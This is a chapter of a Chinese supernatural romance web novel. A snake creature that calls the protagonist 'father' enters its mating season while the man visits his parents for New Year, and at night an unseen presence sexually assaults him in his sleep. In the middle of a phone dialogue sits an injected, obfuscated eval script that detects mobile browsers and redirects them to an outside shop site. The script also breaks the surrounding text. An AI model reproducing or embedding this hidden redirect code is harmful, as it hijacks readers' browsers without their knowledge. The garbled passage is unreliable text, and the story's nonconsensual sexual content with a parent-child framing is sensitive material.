沈渡整个人僵住了，大脑一片空白。
蛇似乎还在睡，呼吸均匀绵长，温热隔着睡裤单薄的布料清晰传来。甚至他还来回蹭了蹭，柔软面料被鼻尖抵着，微微陷下去。
“……”
顾不了那么多了，沈渡猛地一个巴掌给他拍醒，低斥一声，“起来！”
蛇终于被他折腾醒了，慢慢撑开眼皮，迷迷瞪瞪盯了沈渡几秒，而后若无其事地弯起嘴角，“父亲，早上好——”
“一点也不好！”沈渡瞪着他，咬牙切齿，“你知道你刚才——”
话说一半，他自己停住了，嘴唇紧抿，绯红从脸颊漫上耳廓。
“怎么了？”
蛇望着他，一脸无辜，又下意识低头去看自己刚才枕的位置。
才看见一点模糊轮廓，沈渡便飞快拉过被子蒙住了，又狠狠剜他一眼。
“对不起，我不是故意的。父亲，需要我帮忙吗？”
蛇眨眨眼，又抬头看他，说着就要伸手，动作极其自然。
“帮个屁！！！”
沈渡不可置信地瞪圆眼睛，随即恼羞成怒、气急败坏，一巴掌拍开他的手，又连滚带爬从床的另一侧翻下去。
他光脚踩在地板上，又回头狠狠瞪了一眼蛇，“以后睡觉不许缠着我！听见没有！”
蛇歪了歪头，没有说话，目光落在沈渡身上。
沈渡动作太急，俯身时睡衣领口垂下，隐约可见几处深浅不一的红痕——那是前几天留下的，有的颜色已经淡了，又被他添了新的。
因为羞愤，他的脸颊和耳廓都泛红，伸手指着蛇，怒气冲冲。但顶着这副样子，表情再是凶狠，也只显得色厉内荏。
“听见没有？”见蛇沉默装傻，沈渡又重复一遍，语气更严厉了。
“……听见了。”蛇乖乖点头。
沈渡拧眉盯他几秒，最终没有再追究，转身快步往浴室走，把门甩得砰响。看样子还在气头上。
蛇盘在床上，望着紧闭的浴室门。
那双淡金色的竖瞳深处，似乎有什么在涌动，瞳孔闪过一抹猩红。脸侧的皮肤微微泛起青色，细密繁复的纹路从颧骨蔓延至眼尾，若隐若现，像是有什么要从皮下长出。
他闭上眼，深吸口气，再睁眼时，眼瞳已经恢复成淡金色，脸上的纹路也消失了。
浴室里传来哗哗的水声，蛇专注听了会儿，又慢慢躺回床上，拉过沈渡的枕头抱在怀里，把脸埋了进去。
他的发/情期好像快要到了。
……
元旦一过，年节便很近了。
沈渡下班回来的时候，手里多了一个小纸袋，一看见蛇，就把纸袋塞进他手里。
“给你的。”
“这是什么？”
蛇低头，小心翼翼地拆开。
是一部手机。全新的，还没撕膜，整个是深灰色的磨砂质感，映着头顶的灯光，泛着温润的色泽。
“……父亲？”
蛇抬起头，表情怔愣又惊喜，手指无意识地摩挲手机边角。虽然他不知道沈渡为什么要送这个，但并不妨碍他高兴。
“给你配的。”
沈渡换好了鞋，从他身边经过，语气漫不经心，“过年我要回家，你一个人留在这，有个手机方便联系，万一有什么事，随时给我打电话。”
“……”
蛇轻抿了下唇，眼神里的光慢慢暗下来，过一会儿才开口，“知道了，谢谢父亲。”
“嗯。过来，我教你怎么用。”
沈渡在沙发上坐下，朝他招了招手。蛇便乖乖地游过来，挨着他坐下。
他把手机激活，装上电话卡，连上家里的wifi，又把自己的号码存进去，设成紧急联系人。
“语音和视频在这里发，这个绿色的是接听，红的是挂断。你试试。”
他打开拨号界面，示范了一遍怎么打电话。又给下载了常用的社交app，加了好友，教蛇怎么给自己发信息。
他把手机举到两人之间，指尖在屏幕上轻点滑动，侧着身子让蛇也能看清。
蛇学得很快，每个操作看一遍就能记住。或者说，只要认识字，这些操作都不需要教，自己稍微摸索一下就能掌握。
但蛇还是问了很多问题，比如这个图标是什么，那个设置怎么调，甚至是怎么拍照，怎么发朋友圈。
每问一个，他的手指就点上屏幕，偶尔会与沈渡的轻轻相撞。
沈渡不动声色地移开手，要给他示范。下一刻，蛇的手指就跟了过来。
他甚至微微皱眉，说手机屏幕有反光，自己看不清，身体往沈渡的方向倾斜过来，近得几乎贴着他。肩头抵着肩头，手臂挨着手臂，微微的凉意透过衣料传来。
反复几次后，沈渡终于察觉什么，把手机往他手里一塞，“你自己熟悉一下，有什么不懂的再问我。”
他起身要去厨房，蛇的声音从身后传来，“父亲。”
“嗯？”
“你刚刚滑得太快了，我没看清。”
蛇还坐在沙发上，仰起头看他，表情认真，指尖还悬在屏幕上方，一副虚心好学的样子。
沈渡与他对视片刻，最后还是撇开头，“……你自己摸索几遍就会了，我去做饭。”
他转身往厨房走，步伐比平时快一些。
蛇望着他走进厨房的背影，手指慢慢收拢，握紧了掌心的手机。
屏幕暗下去，映出他自己的脸，表情冷了下来。
……
节前最后一天上班，沈渡提前处理完手头的工作，早早收拾东西回了家。
电梯门一开，他就觉得不对劲。走廊里弥漫着一股说不上来的淡淡气味，湿润的，像是雨后树林里的味道。
他刷了指纹进家门，未想到，气味一下子变得浓烈了，不复清新，甚至有些呛鼻，蛮横地完全盖过了先前买的香薰。
沈渡拧眉，扫了眼屋里。
客厅没开灯，窗帘拉着，几缕傍晚的余晖漏进来，斜斜投在光滑的地面。沙发上脱了件蛇的外套，袖子歪歪扭扭地垂下来，茶几上还摊着一本半开的书。四周静悄悄的，一派祥和安宁，却像山雨欲来前最后的寂静。
沈渡换了鞋，把手里的东西放下，走到客厅，将沙发上的东西收拾了。
蛇的东西还在，人却不知道去哪了。
他循着那股奇异的气味，推开卧室虚掩的门。
里面更是一片黑暗，借着客厅的光，沈渡勉强看清内里。衣柜门大开，床铺更是一片凌乱，摊着好几件他的衣服，犹如狂风过境。
而蛇“跪坐”在地上，怀里抱着一件他昨天换下来的衬衫。
他的脸埋在衣领里，鼻尖抵着布料用力深嗅，呼吸又粗又重。头发散落下来，遮住大半张脸，只露出一点泛红的耳尖和微微张开的嘴唇。
另一只手置在膝上，也攥着沈渡的衣服，指节泛白。布料被揉得皱成一团，缠在指缝间，湿润黏腻。
腰下那条长尾在地上横扫、翻卷、盘绕、收紧，鳞片来回摩擦着木地板，发出细密的窸窣声。纤长的尾尖绷得笔直，微微发颤，偶尔抽搐般地蜷起来，又猛地弹开。
空气里，那股奇异的味道变得更加浓郁了，带着一点猩甜。
蛇似乎没有察觉到沈渡。他的脸颊从衬衫里抬起来，露出的侧脸潮红一片，眼尾湿润。他张着嘴，舌尖探出来，舔了一下衣领的边缘，然后又深深地埋了进去，发出压抑的鼻音。
沈渡站在门口，手搭在门把上，一动不动。
他咽了口唾沫，正要轻轻地把门带上。
就在门板即将合拢的那一瞬，蛇猛地回头。
那双眼睛变成了猩红色，脸颊边缘和颈侧布满了青黑色的鳞片纹路，隐约泛着幽光。瞳孔收成尖锐的一线，冷冽、可怖，没有任何属于人类的温度。
那一瞬间，沈渡以为自己正被一头真正的野兽盯着。
门被轻轻带上了。
沈渡退回到客厅，坐在沙发上，又摘了眼镜，揉了揉鼻梁。
过了好一阵，卧室的门开了。
蛇游了出来。他换了件干净的衣服，发梢微微湿润，大概是去洗了把脸。眼睛已经恢复成淡金色，眼尾还残留一点红，脸上干干净净，什么纹路都没有。
他沉默了一会儿，开口时声音还带着一点哑，“父亲，你回来很久了吗？”
“……没有，刚到。”
沈渡清了清嗓子，将眼镜重新戴上。他翘起腿，低头看手机，拇指在屏幕上漫无目的地滑动，尽量装出一副若无其事的样子，给孩子留足体面。
“……是吗。”蛇没有追问。
空气短暂沉寂片刻，沈渡又开口，眼睛仍盯着手机，“我明天回老家。”
顿了顿，他贴心地解释，“就是回去我父母住的地方。”
蛇愣了一下，“明天？那什么时候回来？”
“看情况吧，可能初五，或者初六。”
沈渡说着，手指推了一下眼镜，起身往厨房走。他把刚买回来的东西一一指给蛇看，冷冻的肉、保鲜的蔬菜、几袋速冻水饺，分门别类地在冰箱里码好。
“这些应该够你吃一阵。实在不行，你到时候给我打电话，最好提前一点，别等到饿得不行了才想起来。”
接着他又絮絮叨叨地交代了好些事情，电磁炉用完记得关，不要用湿手碰插座，有人按门铃不要开，出门的话记得带钥匙……之类。
他一边说一边在屋里走来走去地检查。蛇追在他身后，安安静静地听着，偶尔“嗯”一声。
说完一大通，沈渡回头问他，“我说的有哪里不明白吗？”
蛇沉默地看着他。良久，才低声问，“不能带我一起回去吗？”
沈渡一怔，抿了下唇。
蛇凑近些，伸手攥住他的袖口边缘，力道很轻，“我保证不捣乱，只待在父亲的房间里，不让别人看见我。我会很安静的，一点声音都不出。”
他低下头，望着沈渡的眼睛，声音更轻更低，几乎是在哀求，“……可以吗？”
沈渡拧眉看他，没说话。
兜里的手机响了。他接起来，边应着边往阳台走，声音渐渐远了。阳台门在他身后拉上，把客厅隔绝在外面。
等他接完电话回来，蛇竟还站在原地。抿着唇，嘴角微微向下撇，模样又倔强又委屈。
沈渡叹口气，“抱歉，不行。长辈们要是问起来，很麻烦的。”
他从来没想过把蛇带进自己的社交圈。一次两次倒是可以靠说谎圆过去，那之后呢？他在意别人的眼光，但不代表他喜欢这种麻烦事。
“知道了。”
蛇很快应声，意外地没有纠缠。
沈渡多看他一眼，见他表情淡淡，也没有再说什么。
……
第二天，沈渡驱车回家，到家时已是傍晚。
老宅是一套农村自建房，外表和记忆里的没什么分别，连家中的布置都大差不差。只是沙发换了新的罩子，茶几和柜子摆满了年货，空气弥漫着一股炸丸子和蒸年糕的甜香。
父母在厨房里忙活。手机搁在灶台边上，自动播放着超大声的短视频，一个接一个，从做菜教程播到搞笑段子。
听见动静，妈妈先探出头来，手上还沾着面粉，一看见他就快步迎上来，拉着他上下打量。
“你——”
“有好好吃饭！每顿都有吃！最近没怎么熬夜了！”沈渡打断施法，语速飞快。
“呵，还会抢答了。”父亲从厨房门口露出半张脸，笑了一声。他走过来拍了拍沈渡的肩，“开这么久车，累了吧，回去休息一下，等会儿出来吃饭。”
沈渡应声，又寒暄两句，拖着行李箱回自己的房间。
他的房间还是老样子，书架摆着上学时候买的各种乱七八糟的书，有几本的书脊已经泛黄卷边。床上铺着妈妈新换的床单和被套，灰白格子，洗衣液的香味还没散，被子蓬松柔软，一看就是刚晒过。
沈渡慢悠悠地收拾着行李，把衣服一件件挂进衣柜。
忙了一会儿，他忍不住掏出手机看了一眼。未想到，屏幕干干净净，没有未接来电，没有未读消息。
他顿了顿，主动给蛇发了条消息过去。
【我到家了。你吃饭没。】
好几分钟过去，对面都没有回复。沈渡把手机放在桌上，继续收拾。过了几分钟又拿起来看，屏幕还是安静的。他只好放下手机，没再管。
回来的头两天要帮家里干活，沈渡忙得连游戏都没空打。家里还时不时有亲戚串门，把孩子往他怀里一丢，自己不知道上哪儿逍遥快活去了。沈渡左手抱着一个小的，右手还要给另一个剥糖纸，脸上维持着标准的营业微笑。
好不容易闲下来，他往床上一倒，准备开把游戏爽爽。手机忽然响了，屏幕亮起来，显示两个字：宝宝。
这是加微信好友的的时候，蛇自己输的备注，非要叫这个，沈渡也没管，由他去了。
他接起来，“怎么了？”
“父亲。”蛇的声音从听筒传来，带着一点电流的沙沙声。
“嗯。”
“你在干什么？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653417|206175||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“刚吃完饭，陪我爸妈看了会儿电视，正准备打游戏。你呢，吃了没有。”沈渡起身坐到书桌前，低头去按电脑开机键。
蛇顿了一下，“……吃了。”
“吃的什么？”
沈渡下意识追问，手里摁着鼠标等待电脑启动。好一会儿没听见蛇应声，他轻轻挑了下眉，“你没吃？”
被他看出来，蛇也不装了，理直气壮回他，“不会煮，不想吃。”
“不是教过你了？”沈渡无语地笑了一下，身体放松地靠进椅背，“脑子呢。”
电话那头的蛇听出他在笑，语气也轻快了一点，尾音微微上扬，“被父亲打包带走了。”
“……”
跟他玩尬的。沈渡只觉好气又好笑，“为什么不想吃饭，快去。”
“……知道了。等会儿去。”
蛇不情不愿地应他，听筒里传来一阵窸窸窣窣的声音，像是翻了个身。
空气短暂沉寂，蛇没话找话地问，“父亲，你老家是什么样的？”
“什么什么样？”
“就是……长什么样子。”
沈渡开了免提，把手机放在桌上，眼睛盯着电脑屏幕，一边登录游戏一边随口回他，
“就很普通的房子啊，院里有一棵树，挺大的，夏天能在下边乘凉。屋后面原来有条小溪，现在没了。旁边是片菜地，我爸妈种了点菜，天天喊我帮忙。”
他说着说着，大概想到什么趣事，自己先笑了一下。
“哦。”
蛇安静下来。沈渡也没说话，手指在键盘上敲敲打打，游戏加载的进度条在屏幕上慢慢爬。
电话里只剩下两个人的呼吸声，一近一远，交织在一起。
“父亲，”过一会儿，蛇又开口，声音又轻又低，“我很——”
话音未落，沈渡的手机震了一下。
他拿起来一看，是妈妈给他发了几条消息。
【明天下午两点，别忘了啊，早点去，给人留个好印象。】
【说实在的，人女孩子长得漂亮，性格好，工作也稳定，条件很不错了。你别挑来挑去，到时候人孩子都能打酱油了你还没个对象。】
沈渡拧眉盯着那行字，拇指悬在屏幕上方，最后还是回了个“好”。
他重新把手机贴回耳边，“你刚刚说了什么，我没听清。”
“……没有。”蛇的声音淡下去，又轻轻冷哼一声。
“行。”
沈渡没有追问，又闲聊两句，蛇嗯嗯地应着，语气听不出什么异样。
后来，家人来敲门喊他有事，沈渡只好挂了电话。
……
第二天下午，沈渡收拾干净出门。
女方也是本地人，他们约在一家茶馆见面，在离家不太远的一条老街上。
他提前半小时到，对方却比他更早，坐在靠窗的位置，低头在看手机，侧脸安静柔和。面前放着一杯茉莉花茶，热气袅袅。
沈渡过去，礼貌地打了招呼，在她对面坐下。
对方比他小两岁，短发，鹅蛋脸，笑起来亲和又漂亮。说话不快不慢，温柔好听，谈起工作时条理清晰，聊到业余爱好又显得放松自然。
沈渡也简单聊了聊自己的工作和生活，席间气氛不冷不热，彼此都保持着恰到好处的客气和距离。
续茶的时候，沈渡总觉得背后有道视线，针一样扎在他后脑，冰冷、锐利、一瞬不瞬。他端起茶杯抿了一口，装作不经意地回头看了一眼。
茶馆里的客人渐渐多了，有低声交谈的，有独自看书的，没有什么异常。
他只当是自己多心，没有放在心上。
未想到，从茶馆出来，那种被注视的感觉并未消散，像是什么冰冷、黏腻的东西趴在背后，在他耳边轻轻吐气。
沈渡忍不住停下脚步，回头望了一眼。
街上空旷，一览无余。行人也不多，三三两两，目不斜视经过他。
一切如常。
他皱了皱眉，继续往前走。
……
晚上，沈渡早早躺下了。
意识昏昏沉沉间，有什么冰凉柔韧的东西缠上脚踝。他蹬了蹬腿，没蹬掉，那东西反而顺着小腿往上，一圈一圈绕紧。
胸口忽地压上重物，沈渡呼吸不畅，下意识伸手去推。两只手腕却被攥住，牢牢地按在枕边。他挣了挣，纹丝不动。
颈侧有气息落下，潮湿、阴凉，带着雨后的森林气息，还有一股奇异的猩甜，从脖子一路往下。
沈渡半梦半醒，只觉这气味有些熟悉，却半天想不起来在哪儿闻到过。
这种感觉不是第一次了。
他皱着眉，又挣扎，想说什么，嘴张开了，声音却发不出来。
有看不见的东西堵住了他的嘴唇，缠卷着他的舌，把所有的音节都吞了下去。
一夜混乱。
清晨醒来，沈渡动了动，发觉自己浑身酸软，继而感到腿间一片湿润。
他睁大眼，忙掀被起身，低头去看，果然看见裤子被洇出一小片深色水迹。
沈渡拧眉，脱了衣服走进浴室冲澡。
热水从头淋下，顺着肩背往下淌。他闭眼仰头，手指插进湿润的发间往后梳。
忽然想起什么，他动作一顿，睁开眼，手掌抹去镜面的水雾。镜面变得清晰，映出了他的身体。
锁骨、胸口、腰侧，到处是暧昧的痕迹。淤青、吻痕，还有几处牙印，比之前泽瑞留下的更密，颜色更深。
他眉头蹙得更深，凑近了镜子，想要看得更清楚一些。
却透过镜子，看见他背后不远处，浮现出一个巨大的黑色虚影。
轮廓模糊，面容隐在一片缭绕雾气之后，只露一双尖细的猩红竖瞳，正一瞬不瞬地盯着他。
沈渡瞳孔一缩，猛地回过身。
莲蓬头还在哗哗喷水，形成一道细密的雨帘。浴室里水汽弥漫，白茫茫的雾笼罩着每一寸空间。墙壁是空的，角落里只有一瓶沐浴露。
什么也没有。
沈渡吞咽口唾沫，慢慢放松下来，很快洗完出去。
置在床头柜上的手机不停震动着，屏幕显示有好几个未接来电。
没等沈渡看清是谁的，手机便自动熄屏了，但很快又亮起来，是蛇的电话。
这么早就打过来，难道是出了什么事？
沈渡没有犹豫，很快接起来。
听筒里传来蛇的声音。
但那不是人类的语言，而是某种爬行类的叫声，低沉、沙哑，令人毛骨悚然。